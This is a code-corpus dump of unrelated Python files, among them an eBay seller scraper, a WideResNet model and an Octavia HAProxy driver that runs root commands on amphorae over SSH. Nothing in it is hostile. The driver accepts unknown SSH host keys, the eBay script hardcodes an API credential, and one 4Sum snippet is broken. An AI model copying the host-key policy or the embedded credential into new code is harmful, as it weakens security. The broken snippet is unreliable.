t_name in t_names:\n name = t_name[2:]\n func = getattr(view, t_name)\n new_label = None\n if getattr(func, '_label', None) is None:\n new_label = label_from_name(name)\n if new_label is not None:\n cls.__dict__[t_name]._label = new_label\n d[name] = func\n\n return\n\n def __contains__(self, name):\n if self._v._hidden_actions is None:\n hidden_actions = self._v._entity._hidden_actions\n else:\n hidden_actions = self._v._hidden_actions\n return name in self._d and name not in hidden_actions\n\n def __iter__(self):\n if self._v._hidden_actions is None:\n hidden_actions = self._v._entity._hidden_actions\n else:\n hidden_actions = self._v._hidden_actions\n return (k for k in self._d.iterkeys() if k not in hidden_actions)\n\n\noptimize.bind_all(sys.modules[__name__])","sub_path":"pycfiles/Schevo-3.0-py2.4-macosx-10.3-fat/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":6867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"496440471","text":"import logging\n\nimport click\nfrom flask import cli, current_app\nfrom invenio_db import db\nfrom invenio_nusl.cli import nusl\nfrom invenio_nusl_theses.proxies import nusl_theses\nfrom invenio_oarepo_oai_pmh_harvester.models import OAIProvider\nfrom invenio_oarepo_oai_pmh_harvester.synchronization import OAISynchronizer\n\n\n@nusl.group()\ndef oai():\n pass\n\n\n@oai.group()\ndef synchronize():\n pass\n\n\n@synchronize.command(\"uk\")\n@click.option('-s', '--start', default=0)\n@click.option('-o', '--start-oai')\n@click.option('--break-on-error/--no-break-on-error', default=True)\n@cli.with_appcontext\ndef import_uk(start, start_oai, break_on_error):\n for _ in (\"elasticsearch\", \"urllib3\"):\n logging.getLogger(_).setLevel(logging.CRITICAL)\n uk_provider = OAIProvider.query.filter_by(code=\"uk\").one_or_none()\n constant_fields = {\n \"provider\": {\"$ref\": \"http://127.0.0.1:5000/api/taxonomies/institutions/00216208/\"},\n \"accessRights\": {\"$ref\": \"http://127.0.0.1:5000/api/taxonomies/accessRights/c_abf2/\"},\n \"accessibility\": [{\"lang\": \"cze\", \"value\": \"Dostupné v digitálním repozitáři UK.\"}, {\n \"lang\": \"eng\", \"value\": \"Available in the Charles University Digital Repository.\"\n }]\n }\n if not uk_provider:\n uk_provider = OAIProvider(\n code=\"uk\",\n description=\"Univerzita Karlova\",\n oai_endpoint=\"https://dspace.cuni.cz/oai/nusl\",\n set_=\"nusl_set\",\n metadata_prefix=\"xoai\",\n constant_fields=constant_fields\n )\n db.session.add(uk_provider)\n db.session.commit()\n unhandled_paths = {\n \"/dc/date/accessioned\",\n \"/dc/date/available\",\n \"/dc/date/issued\",\n \"/dc/identifier/repId\",\n \"/dc/identifier/aleph\",\n \"/dc/description/provenance\",\n \"/dc/description/department\",\n \"/dc/description/faculty\",\n \"/dc/language/cs_CZ\",\n \"/dc/publisher\",\n \"/dcterms/created\",\n \"/thesis/degree/name\",\n \"/thesis/degree/program\",\n \"/thesis/degree/level\",\n \"/uk/abstract\",\n \"/uk/thesis\",\n \"/uk/taxonomy\",\n \"/uk/faculty-name\",\n \"/uk/faculty-abbr\",\n \"/uk/file-availability\",\n \"/uk/degree-discipline\",\n \"/uk/degree-program\",\n \"/uk/publication-place\",\n \"/bundles\",\n \"/others/handle\",\n \"/others/lastModifyDate\",\n \"/repository\"\n }\n sync = OAISynchronizer(\n uk_provider,\n parser_name=\"xoai\",\n unhandled_paths=unhandled_paths,\n create_record=nusl_theses.create_draft_record,\n update_record=nusl_theses.update_draft_record,\n delete_record=nusl_theses.delete_draft_record,\n pid_type=\"dnusl\",\n validation=nusl_theses.validate\n )\n api = current_app.wsgi_app.mounts['/api']\n with api.app_context():\n sync.run(start_id=start, start_oai=start_oai, break_on_error=break_on_error)\n","sub_path":"example/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"479553458","text":"from ebaysdk.finding import Connection as finding\r\nfrom bs4 import BeautifulSoup\r\nfrom collections import Counter\r\n\r\napi = finding(appid = 'Fidelmar-Testing-PRD-367ac8c8b-c1148477', config_file = None)\r\n\r\nlist_keywords = open('mykeywords.txt').readlines()\r\nApiRequestType = 'findCompletedItems'\r\nmycatid = '99697'\r\n\r\nlist_allsellers = []\r\nlist_alltitles = []\r\n\r\n## Collect list_allsellers\r\n\r\nDictionary_ApiRequest = {\r\n 'keywords': ' ',\r\n 'categoryId': mycatid,\r\n 'outputSelector': 'SellerInfo',\r\n 'itemFilter': [\r\n {'name': 'SoldItemsOnly', 'value':False},\r\n## {'name': 'Seller', 'value': SellerNameValue},\r\n ]}\r\n\r\nfor mykeyword in list_keywords:\r\n mykeyword = mykeyword.replace('\\n','')\r\n print('searching: ' + mykeyword)\r\n\r\n Dictionary_ApiRequest['keywords'] = mykeyword\r\n response = api.execute('findCompletedItems', Dictionary_ApiRequest)\r\n soup = BeautifulSoup(response.content, 'lxml')\r\n\r\n list_pagesellers = [item.text for item in soup.find_all('sellerusername')]\r\n for sellername in list_pagesellers: list_allsellers.append(sellername)\r\n## same as below\r\n##list_pagesellers =[]\r\n##list_sellernames = soup.find_all('sellerusername')\r\n##for sn in list_sellernames:\r\n## sn = sn.text\r\n## list_pagesellers.append(sn)\r\n \r\nlist_allsellers = sorted(set(list_allsellers))\r\n## set gets rid of duplicates, sort sorts them a-z\r\n\r\n## Collect list_alltitles\r\n\r\nDictionary_ApiRequest = {\r\n 'keywords': ' ',\r\n 'categoryId': mycatid,\r\n 'outputSelector': 'SellerInfo',\r\n 'itemFilter': [\r\n {'name': 'SoldItemsOnly', 'value':False},\r\n {'name': 'Seller', 'value': ''},\r\n ]}\r\n\r\nfor SellerNameValue in list_allsellers:\r\n print('searching: ' + SellerNameValue)\r\n\r\n Dictionary_ApiRequest['itemFilter'][1] = {'name': 'Seller', 'value': SellerNameValue}\r\n response = api.execute('findCompletedItems', Dictionary_ApiRequest)\r\n soup = BeautifulSoup(response.content, 'lxml')\r\n\r\n list_pagetitles = [item.text for item in soup.find_all('title')]\r\n for title in list_pagetitles: list_alltitles.append(title)\r\n \r\nlist_alltitles = sorted(set(list_alltitles))\r\n\r\n\r\n## get the frequency of words in collected titles\r\nlist_alltitlewords= []\r\nfor title in list_alltitles:\r\n title = title.lower()\r\n titlewords = title.split()\r\n for word in titlewords:\r\n list_alltitlewords.append(word)\r\n\r\ncountedtitlewords = Counter(list_alltitlewords)\r\nct = list(countedtitlewords.most_common(30))\r\n\r\nlistcount = 0\r\nfor item in ct:\r\n listcount += 1\r\n print(str(listcount) + '.')\r\n input(item)\r\n print()","sub_path":"Find Sellers.py","file_name":"Find Sellers.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"250761755","text":"#!/usr/bin/env python\r\nimport logging\r\nimport config\r\nfrom google.appengine.api import mail\r\nfrom google.appengine.api.labs import taskqueue\r\nfrom google.appengine.ext import db\r\ntry:\r\n import json\r\nexcept ImportError:\r\n import simplejson as json\r\nfrom data import mail as email\r\n\r\n\r\nclass Mail:\r\n def __init__(self): \r\n self.mail = mail.EmailMessage()\r\n\r\n def generate_footer(self):\r\n text = \"\\n\\n\\n\\nThanks,\\nThe Cleaner Connect Team\\n\"\r\n return text\r\n\r\n def generate_simple_footer(self):\r\n text = \"\\n\\n\\n\\nThanks,\\nThe Cleaner Connect Team\\n\"\r\n return text\r\n \r\n def filter_htmltags(self, text):\r\n text.replace(\"
\", \"\\n\")\r\n text.replace(\"
\",\"\\n\")\r\n return text\r\n \r\n def create(self, recipients=None, type=None, params=None):\r\n if recipients and type and params:\r\n if not email.templates[type]:\r\n return False\r\n \r\n if len(recipients)==1:\r\n self.mail.to = recipients[0]\r\n else:\r\n #self.mail.to = 'aaron.t.cheung@gmail.com'\r\n self.mail.bcc = recipients\r\n template = email.templates[type]\r\n self.mail.sender = template[\"sender\"]\r\n \r\n # find parameters in template and replace them\r\n body = str(template[\"body\"])\r\n subject = str(template[\"subject\"])\r\n \r\n for param in params:\r\n find = \"[[\"+ param +\"]]\"\r\n body = body.replace(find, params[param])\r\n subject = subject.replace(find, params[param])\r\n \r\n # to add or footer or not\r\n if template[\"footer\"] == \"noneatall\":\r\n pass\r\n elif template[\"footer\"]:\r\n body = body + self.generate_footer()\r\n else:\r\n body = body + self.generate_simple_footer()\r\n \r\n self.mail.subject = subject\r\n self.mail.body = body\r\n \r\n return True\r\n \r\n else:\r\n return False\r\n \r\n \r\n def send(self, recipients=None, type=None, params=None, execute = True):\r\n if list(recipients)!=recipients:#convert recipients to list if it's a string\r\n recipients = [recipients]\r\n if execute:#actually send email\r\n# for recipient in recipients:\r\n# e = db.GqlQuery(\"SELECT * FROM UnsubscribedList WHERE email=:1\",recipient)#check that recipient is not in unsubscribed list\r\n# try:\r\n# e = e[0]\r\n# return False\r\n# except:\r\n# pass\r\n# \r\n self.create(recipients, type, params)\r\n# logging.info(\"To: %s\\nSubject: %s\\nBody: %s\" % (str(recipients),self.mail.subject,self.mail.body))\r\n if self.mail.is_initialized():\r\n self.mail.send()\r\n return True\r\n else:\r\n return False\r\n","sub_path":"logic/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"385545289","text":"\n# Given an array S of n integers, are there elements a, b, c, and d in S such that a + b + c + d = target? Find all unique quadruplets in the array which gives the sum of target.\n#\n# Note: The solution set must not contain duplicate quadruplets.\n#\n# For example, given array S = [1, 0, -1, 0, -2, 2], and target = 0.\n#\n# A solution set is:\n# [\n# [-1, 0, 0, 1],\n# [-2, -1, 1, 2],\n# [-2, 0, 0, 2]\n# ]\n\nS = [1, 0, -1, 0, -2, 2]\nS.sort()\nlist = []\nfor i in len(S)-3:\n for j in len(S)-2:\n if i + j == 0 and i != j:\n list.append([i, j])\nprint(list)\nclass Solution(object):\n def fourSum(self, nums, target):\n resultList = []\n nums.sort()\n for i in range(0,len(nums)-3):\n for j in range(i + 1, len(nums)-2):\n p = j + 1\n q = len(nums) -1\n while p != q:\n summer = nums[i] + nums[j] + nums[p] + nums[q]\n if summer == target:\n listT = [nums[i],nums[j],nums[p],nums[q]]\n if listT not in resultList:\n resultList.append(listT)\n p = p + 1\n elif summer > target:\n q = q - 1\n else:\n p = p + 1\n return resultList\n","sub_path":"18. 4Sum.py","file_name":"18. 4Sum.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"370286186","text":"with open('F:/python prog/BioPython/Genome sequencing/ggg.txt') as input_data:\r\n spec = map(int, input_data.read().strip().split())\r\n\r\n# The spectrum isn't sorted, so find all differences and filter out the non-positive.\r\nconvolution = [str(i-j) for i in spec for j in spec if i-j > 0]\r\n\r\n# Print and save the answer.\r\nprint (' '.join(convolution))\r\nwith open('Textbook_02F.txt', 'w') as output_data:\r\n output_data.write(' '.join(convolution))","sub_path":"Genome sequencing/convo.py","file_name":"convo.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"470033903","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nx = np.random.randn(100, 2)\n# as they are 2d there should be in 2d\nplt.scatter(x[:, 0], x[:, 1]) # (x axis ,y axis)\n# x[:,0] first column of x\n# x[:,1] second column of x\n# plt.show()\n\ny = np.random.randn(200, 2)\n\ny[:100] += 3 # add 3 to all half of the elements of x\n\ny2 = np.zeros(200)\n\ny2[:100] = 1\n\nplt.scatter(y[:, 0], y[:, 1], c=y2)\nplt.show()\n\nprint(y)\nprint(y2)\n","sub_path":"Python Programs/Udemy/NumpyStack/MatPlotLib/ScatterPlot.py","file_name":"ScatterPlot.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"235151084","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@Author: Su Lu\r\n\r\n@Date: 2019-07-15 13:57:46\r\n\"\"\"\r\n\r\nimport numpy as np\r\n\r\nimport torch\r\nfrom torch import nn\r\nfrom torch.nn import init\r\nfrom torch.nn import functional as F\r\n\r\n\r\ndef conv_init(m):\r\n \"\"\"\r\n Introduction of function\r\n ------------------------\r\n This function inits parameters in a layer.\r\n\r\n Parameters\r\n ----------\r\n m: torch.nn.Module\r\n a layer containing parameters to be inited\r\n\r\n Returns\r\n -------\r\n NONE\r\n \"\"\"\r\n\r\n classname = m.__class__.__name__\r\n if classname.find('Conv') != -1:\r\n init.xavier_uniform_(m.weight, gain = np.sqrt(2))\r\n init.constant_(m.bias, 0)\r\n elif classname.find('BatchNorm') != -1:\r\n init.constant_(m.weight, 1)\r\n init.constant_(m.bias, 0)\r\n\r\n\r\nclass BasicBlock(nn.Module):\r\n \"\"\"\r\n Introduction of class\r\n ---------------------\r\n This class implements basic block in wide residual network.\r\n\r\n Variables\r\n ---------\r\n in_channels_of_basic_block: int\r\n number of input channels of basic block\r\n out_channels_of_basic_block: int\r\n number of output channels of basic block\r\n dropout_rate: float\r\n dropout rate used by dropout layer of basic block\r\n stride: int\r\n stride used by convolutional layer of basic block\r\n \r\n Attributes\r\n ----------\r\n in_channels_of_basic_block: int\r\n number of input channels of basic block\r\n out_channels_of_basic_block: int\r\n number of output channels of basic block\r\n dropout_rate: float\r\n dropout rate used by dropout layer of basic block\r\n stride: int\r\n stride used by convolutional layer of basic block\r\n bn1: torch.nn.BatchNorm2d\r\n first batch normalization layer\r\n conv1: torch.nn.Conv2d\r\n first convolutional layer\r\n dropout: torch.nn.Dropout\r\n dropout layer\r\n bn2: torch.nn.BatchNorm2d\r\n second batch normalization layer\r\n conv2: torch.nn.Conv2d\r\n second convolutional layer\r\n shortcut: torch.nn.Sequential\r\n shortcut in basic block\r\n \r\n Methods\r\n -------\r\n forward([x]): torch.autograd.Variable\r\n forward process of basic block\r\n \"\"\"\r\n\r\n def __init__(self, in_channels_of_basic_block, out_channels_of_basic_block, dropout_rate, stride):\r\n super(BasicBlock, self).__init__()\r\n self.in_channels = in_channels_of_basic_block\r\n self.out_channels = out_channels_of_basic_block\r\n self.dropout_rate = dropout_rate\r\n self.stride = stride\r\n\r\n self.bn1 = nn.BatchNorm2d(num_features = in_channels_of_basic_block)\r\n self.conv1 = nn.Conv2d(in_channels = in_channels_of_basic_block, out_channels = out_channels_of_basic_block,\r\n kernel_size = (3, 3), stride = (1, 1), padding = (1, 1), bias = True)\r\n self.dropout = nn.Dropout(p = dropout_rate)\r\n self.bn2 = nn.BatchNorm2d(num_features = out_channels_of_basic_block)\r\n self.conv2 = nn.Conv2d(in_channels = out_channels_of_basic_block, out_channels = out_channels_of_basic_block,\r\n kernel_size = (3, 3), stride = (stride, stride), padding = (1, 1), bias = True)\r\n self.shortcut = nn.Sequential()\r\n # size of feature map changes or number of channels changes\r\n if stride != 1 or in_channels_of_basic_block != out_channels_of_basic_block:\r\n self.shortcut = nn.Sequential(\r\n nn.Conv2d(in_channels = in_channels_of_basic_block, out_channels = out_channels_of_basic_block,\r\n kernel_size = (1, 1), stride = (stride, stride), bias = True)\r\n )\r\n\r\n def forward(self, x):\r\n \"\"\" \r\n Introduction of method\r\n ----------------------\r\n This method implements forward process of basic block in wide residual resnet.\r\n\r\n Parameters\r\n ----------\r\n x: torch.autograd.Variable\r\n input of the basic block\r\n \r\n Returns\r\n -------\r\n y: torch.autograd.Variable\r\n output of the basic block\r\n \"\"\"\r\n\r\n y = self.bn1(x)\r\n y = F.relu(y)\r\n y = self.conv1(y)\r\n y = self.bn2(y)\r\n y = F.relu(y)\r\n y = self.dropout(y)\r\n y = self.conv2(y)\r\n y += self.shortcut(x)\r\n\r\n return y\r\n \r\n\r\nclass WideResNet(nn.Module):\r\n \"\"\"\r\n Introduction of class\r\n ---------------------\r\n This class implements wide residual network.\r\n\r\n Variables\r\n ---------\r\n depth: int\r\n total number of simple layers in wide residual network\r\n width: int\r\n multiple of number of channels after each layer\r\n number_of_classes: int\r\n number of classes in a classification task\r\n dropout_rate: float\r\n dropout_rate used by dropout layers\r\n \r\n Attributes\r\n ----------\r\n depth: int\r\n total number of simple layers in wide residual network\r\n width: int\r\n multiple of number of channels after each layer\r\n number_of_classes: int\r\n number of classes in a classification task\r\n dropout_rate: float\r\n dropout_rate used by dropout layers\r\n conv1: torch.nn.Conv2d\r\n first convolutional layers in wide residual network\r\n layer1: torch.nn.Sequential\r\n first layer composed of several basic blocks\r\n layer2: torch.nn.Sequential\r\n second layer composed of several basic blocks\r\n layer3: torch.nn.Sequential\r\n third layer composed of several basic blocks\r\n bn: torch.nn.BatchNorm2d\r\n batch normalization layer\r\n pool: torch.nn.AdapativeAvgPool2d\r\n adaptive average pooling layer\r\n fc: torch.nn.Linear\r\n full connected(linear) layer\r\n \r\n Methods\r\n -------\r\n generate_layer([in_channels_of_layer, out_channels_of_layer,\r\n number_of_blocks, dropout_rate, stride_of_first_block]): torch.nn.Sequential\r\n generate a whole layer composed of several basic blocks and some parameters defining\r\n this layer and basic blocks are given to the method\r\n forward([x]): torch.autograd.Variabel\r\n forward process of wide residual network\r\n forward_embedding([x]): torch.autograd.Variable\r\n forward process of wide residual network in embedding\r\n \"\"\"\r\n\r\n def __init__(self, depth, width, number_of_classes, dropout_rate):\r\n super(WideResNet, self).__init__()\r\n self.depth = depth\r\n self.width = width\r\n self.number_of_classes = number_of_classes\r\n self.dropout_rate = dropout_rate\r\n\r\n # depth must be of form (6n + 4)\r\n # number of convolutional layers in a basic block = 2\r\n # number of layers in a wide residual network = 3\r\n # number of blocks in each layer = n\r\n # number of other simple layers = 4\r\n assert((depth - 4) % 6 == 0)\r\n # calculate number of blocks in each layer\r\n number_of_blocks_in_each_layer = int((depth - 4) / 6)\r\n # define number of channels after each block\r\n number_of_channels_after_each_layer = [16, 16 * width, 32 * width, 64 * width]\r\n\r\n self.conv1 = nn.Conv2d(in_channels = 3, out_channels = 16, kernel_size = (3, 3),\r\n stride = (1, 1), padding = (1, 1), bias = True)\r\n # generate 3 layers\r\n self.layer1 = self.generate_layer(in_channels_of_layer = number_of_channels_after_each_layer[0],\r\n out_channels_of_layer = number_of_channels_after_each_layer[1], number_of_blocks = number_of_blocks_in_each_layer,\r\n dropout_rate = dropout_rate, stride_of_first_block = 1)\r\n self.layer2 = self.generate_layer(in_channels_of_layer = number_of_channels_after_each_layer[1],\r\n out_channels_of_layer = number_of_channels_after_each_layer[2], number_of_blocks = number_of_blocks_in_each_layer,\r\n dropout_rate = dropout_rate, stride_of_first_block = 2)\r\n self.layer3 = self.generate_layer(in_channels_of_layer = number_of_channels_after_each_layer[2],\r\n out_channels_of_layer = number_of_channels_after_each_layer[3], number_of_blocks = number_of_blocks_in_each_layer,\r\n dropout_rate = dropout_rate, stride_of_first_block = 2)\r\n # generate batch normalization layer\r\n self.bn = nn.BatchNorm2d(number_of_channels_after_each_layer[3], momentum = 0.9)\r\n # generate pooling layer\r\n self.pool = nn.AdaptiveAvgPool2d(output_size = 1)\r\n # generate linear layer\r\n self.fc = nn.Linear(in_features = number_of_channels_after_each_layer[3], out_features = number_of_classes)\r\n \r\n def generate_layer(self, in_channels_of_layer, out_channels_of_layer, number_of_blocks,\r\n dropout_rate, stride_of_first_block):\r\n \"\"\" \r\n Introduction of method\r\n ----------------------\r\n This method generates a whole layer using basic blocks.\r\n\r\n Parameters\r\n ----------\r\n in_channels_of_layer: int\r\n number of input channels of layer\r\n out_channels_of_layer: int\r\n number of output channels of layer\r\n number_of_blocks: int\r\n number of basic blocks in a single layer\r\n dropout_rate: float\r\n dropout rate used by basic blocks in this layer\r\n stride_of_first_block: int\r\n stride used by first basic block in this layer, stride of other basic blocks is 1\r\n \r\n Returns\r\n -------\r\n layer: torch.nn.Sequential\r\n a whole layer generated using basic blocks\r\n \"\"\"\r\n\r\n strides_of_each_block = [stride_of_first_block] + [1] * (number_of_blocks - 1)\r\n blocks = []\r\n # generate a layer with number_of_blocks blocks\r\n for i in range(0, number_of_blocks):\r\n # generate the first basic block in this layer\r\n if i == 0:\r\n blocks.append(BasicBlock(in_channels_of_basic_block = in_channels_of_layer, out_channels_of_basic_block = out_channels_of_layer,\r\n dropout_rate = dropout_rate, stride = strides_of_each_block[i]))\r\n # generate other basic blocks\r\n else:\r\n blocks.append(BasicBlock(in_channels_of_basic_block = out_channels_of_layer, out_channels_of_basic_block = out_channels_of_layer,\r\n dropout_rate = dropout_rate, stride = strides_of_each_block[i]))\r\n # generate the whole layer using blocks \r\n layer = nn.Sequential(*blocks)\r\n return layer\r\n\r\n def forward(self, x):\r\n \"\"\"\r\n Introduction of method\r\n ----------------------\r\n This method implements forward process of wide residual network.\r\n\r\n Parameters\r\n ----------\r\n x: torch.autograd.Variable\r\n input of wide residual network\r\n \r\n Returns\r\n -------\r\n y: torch.autograd.Variable\r\n output of wide residual network\r\n \"\"\"\r\n\r\n y = self.conv1(x)\r\n y = self.layer1(y)\r\n y = self.layer2(y)\r\n y = self.layer3(y)\r\n y = self.bn(y)\r\n y = F.relu(y)\r\n y = self.pool(y)\r\n y = y.view(y.size()[0], -1)\r\n y = self.fc(y)\r\n\r\n return y\r\n\r\n def forward_embedding(self, x):\r\n \"\"\"\r\n Introduction of method\r\n ----------------------\r\n This method implements forward process of wide residual network used in embedding.\r\n\r\n Parameters\r\n ----------\r\n x: torch.autograd.Variable\r\n input of wide residual network\r\n \r\n Returns\r\n -------\r\n y: torch.autograd.Variable\r\n output of wide residual network in embedding\r\n \"\"\"\r\n\r\n y = self.conv1(x)\r\n y = self.layer1(y)\r\n y = self.layer2(y)\r\n y = self.layer3(y)\r\n y = self.bn(y)\r\n y = F.relu(y)\r\n y = F.avg_pool2d(y, 8)\r\n y = y.view(y.size()[0], -1)\r\n \r\n return y","sub_path":"networks/wide_resnet.py","file_name":"wide_resnet.py","file_ext":"py","file_size_in_byte":11883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"148075406","text":"# Copyright (c) 2015 Rackspace\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\nimport os\nimport socket\nimport tempfile\nimport time\n\nfrom oslo_log import log as logging\nimport paramiko\nimport six\nfrom stevedore import driver as stevedore_driver\n\nfrom octavia.amphorae.driver_exceptions import exceptions as exc\nfrom octavia.amphorae.drivers import driver_base as driver_base\nfrom octavia.amphorae.drivers.haproxy.jinja import jinja_cfg\nfrom octavia.common.config import cfg\nfrom octavia.common import constants\nfrom octavia.common.tls_utils import cert_parser\nfrom octavia.i18n import _LW\n\nLOG = logging.getLogger(__name__)\nNEUTRON_VERSION = '2.0'\nVIP_ROUTE_TABLE = 'vip'\n\n# ip and route commands\nCMD_DHCLIENT = \"dhclient {0}\"\nCMD_ADD_IP_ADDR = \"ip addr add {0}/24 dev {1}\"\nCMD_SHOW_IP_ADDR = \"ip addr show {0}\"\nCMD_GREP_LINK_BY_MAC = (\"ip link | grep {mac_address} -m 1 -B 1 \"\n \"| awk 'NR==1{{print $2}}'\")\nCMD_CREATE_VIP_ROUTE_TABLE = (\n \"su -c 'echo \\\"1 {0}\\\" >> /etc/iproute2/rt_tables'\"\n)\nCMD_ADD_ROUTE_TO_TABLE = \"ip route add {0} dev {1} table {2}\"\nCMD_ADD_DEFAULT_ROUTE_TO_TABLE = (\"ip route add default via {0} \"\n \"dev {1} table {2}\")\nCMD_ADD_RULE_FROM_NET_TO_TABLE = \"ip rule add from {0} table {1}\"\nCMD_ADD_RULE_TO_NET_TO_TABLE = \"ip rule add to {0} table {1}\"\n\n\nclass HaproxyManager(driver_base.AmphoraLoadBalancerDriver):\n\n amp_config = cfg.CONF.haproxy_amphora\n\n def __init__(self):\n super(HaproxyManager, self).__init__()\n self.amphoraconfig = {}\n self.client = paramiko.SSHClient()\n self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n self.cert_manager = stevedore_driver.DriverManager(\n namespace='octavia.cert_manager',\n name=cfg.CONF.certificates.cert_manager,\n invoke_on_load=True,\n ).driver\n self.jinja = jinja_cfg.JinjaTemplater(\n base_amp_path=self.amp_config.base_path,\n base_crt_dir=self.amp_config.base_cert_dir,\n haproxy_template=self.amp_config.haproxy_template)\n\n def get_logger(self):\n return LOG\n\n def update(self, listener, vip):\n LOG.debug(\"Amphora %s haproxy, updating listener %s, vip %s\",\n self.__class__.__name__, listener.protocol_port,\n vip.ip_address)\n\n # Set a path variable to hold where configurations will live\n conf_path = '{0}/{1}'.format(self.amp_config.base_path, listener.id)\n\n # Process listener certificate info\n certs = self._process_tls_certificates(listener)\n\n # Generate HaProxy configuration from listener object\n config = self.jinja.build_config(listener, certs['tls_cert'])\n\n # Build a list of commands to send to the exec method\n commands = ['chmod 600 {0}/haproxy.cfg'.format(conf_path),\n 'haproxy -f {0}/haproxy.cfg -p {0}/{1}.pid -sf '\n '$(cat {0}/{1}.pid)'.format(conf_path, listener.id)]\n\n # Exec appropriate commands on all amphorae\n self._exec_on_amphorae(\n listener.load_balancer.amphorae, commands,\n make_dir=conf_path, data=[config],\n upload_dir='{0}/haproxy.cfg'.format(conf_path))\n\n def stop(self, listener, vip):\n LOG.debug(\"Amphora %s haproxy, disabling listener %s, vip %s\",\n self.__class__.__name__,\n listener.protocol_port, vip.ip_address)\n\n # Exec appropriate commands on all amphorae\n self._exec_on_amphorae(listener.load_balancer.amphorae,\n ['kill -9 $(cat {0}/{1}/{1}.pid)'.format(\n self.amp_config.base_path, listener.id)])\n\n def delete(self, listener, vip):\n LOG.debug(\"Amphora %s haproxy, deleting listener %s, vip %s\",\n self.__class__.__name__,\n listener.protocol_port, vip.ip_address)\n\n # Define the two operations that need to happen per amphora\n stop = 'kill -9 $(cat {0}/{1}/{1}.pid)'.format(\n self.amp_config.base_path, listener.id)\n delete = 'rm -rf {0}/{1}'.format(self.amp_config.base_path,\n listener.id)\n\n # Exec appropriate commands on all amphorae\n self._exec_on_amphorae(listener.load_balancer.amphorae, [stop, delete])\n\n def start(self, listener, vip):\n LOG.debug(\"Amphora %s haproxy, enabling listener %s, vip %s\",\n self.__class__.__name__,\n listener.protocol_port, vip.ip_address)\n\n # Define commands to execute on the amphorae\n commands = [\n 'haproxy -f {0}/{1}/haproxy.cfg -p {0}/{1}/{1}.pid'.format(\n self.amp_config.base_path, listener.id)]\n\n # Exec appropriate commands on all amphorae\n self._exec_on_amphorae(listener.load_balancer.amphorae, commands)\n\n def get_info(self, amphora):\n LOG.debug(\"Amphora %s haproxy, info amphora %s\",\n self.__class__.__name__, amphora.id)\n # info = self.amphora_client.get_info()\n # self.amphoraconfig[amphora.id] = (amphora.id, info)\n\n def get_diagnostics(self, amphora):\n LOG.debug(\"Amphora %s haproxy, get diagnostics amphora %s\",\n self.__class__.__name__, amphora.id)\n self.amphoraconfig[amphora.id] = (amphora.id, 'get_diagnostics')\n\n def finalize_amphora(self, amphora):\n LOG.debug(\"Amphora %s no-op, finalize amphora %s\",\n self.__class__.__name__, amphora.id)\n self.amphoraconfig[amphora.id] = (amphora.id, 'finalize amphora')\n\n def _configure_amp_routes(self, vip_iface, amp_net_config):\n subnet = amp_net_config.vip_subnet\n command = CMD_CREATE_VIP_ROUTE_TABLE.format(VIP_ROUTE_TABLE)\n self._execute_command(command, run_as_root=True)\n command = CMD_ADD_ROUTE_TO_TABLE.format(\n subnet.cidr, vip_iface, VIP_ROUTE_TABLE)\n self._execute_command(command, run_as_root=True)\n command = CMD_ADD_DEFAULT_ROUTE_TO_TABLE.format(\n subnet.gateway_ip, vip_iface, VIP_ROUTE_TABLE)\n self._execute_command(command, run_as_root=True)\n command = CMD_ADD_RULE_FROM_NET_TO_TABLE.format(\n subnet.cidr, VIP_ROUTE_TABLE)\n self._execute_command(command, run_as_root=True)\n command = CMD_ADD_RULE_TO_NET_TO_TABLE.format(\n subnet.cidr, VIP_ROUTE_TABLE)\n self._execute_command(command, run_as_root=True)\n\n def _configure_amp_interface(self, iface, secondary_ip=None):\n # just grab the ip from dhcp\n command = CMD_DHCLIENT.format(iface)\n self._execute_command(command, run_as_root=True)\n if secondary_ip:\n # add secondary_ip\n command = CMD_ADD_IP_ADDR.format(secondary_ip, iface)\n self._execute_command(command, run_as_root=True)\n # log interface details\n command = CMD_SHOW_IP_ADDR.format(iface)\n self._execute_command(command)\n\n def post_vip_plug(self, load_balancer, amphorae_network_config):\n LOG.debug(\"Add vip to interface for all amphora on %s\",\n load_balancer.id)\n\n for amp in load_balancer.amphorae:\n if amp.status != constants.DELETED:\n # Connect to amphora\n self._connect(hostname=amp.lb_network_ip)\n\n mac = amphorae_network_config.get(amp.id).vrrp_port.mac_address\n stdout, _ = self._execute_command(\n CMD_GREP_LINK_BY_MAC.format(mac_address=mac))\n iface = stdout[:-2]\n if not iface:\n self.client.close()\n continue\n self._configure_amp_interface(\n iface, secondary_ip=load_balancer.vip.ip_address)\n self._configure_amp_routes(\n iface, amphorae_network_config.get(amp.id))\n\n def post_network_plug(self, amphora, port):\n self._connect(hostname=amphora.lb_network_ip)\n stdout, _ = self._execute_command(\n CMD_GREP_LINK_BY_MAC.format(mac_address=port.mac_address))\n iface = stdout[:-2]\n if not iface:\n self.client.close()\n return\n self._configure_amp_interface(iface)\n self.client.close()\n\n def 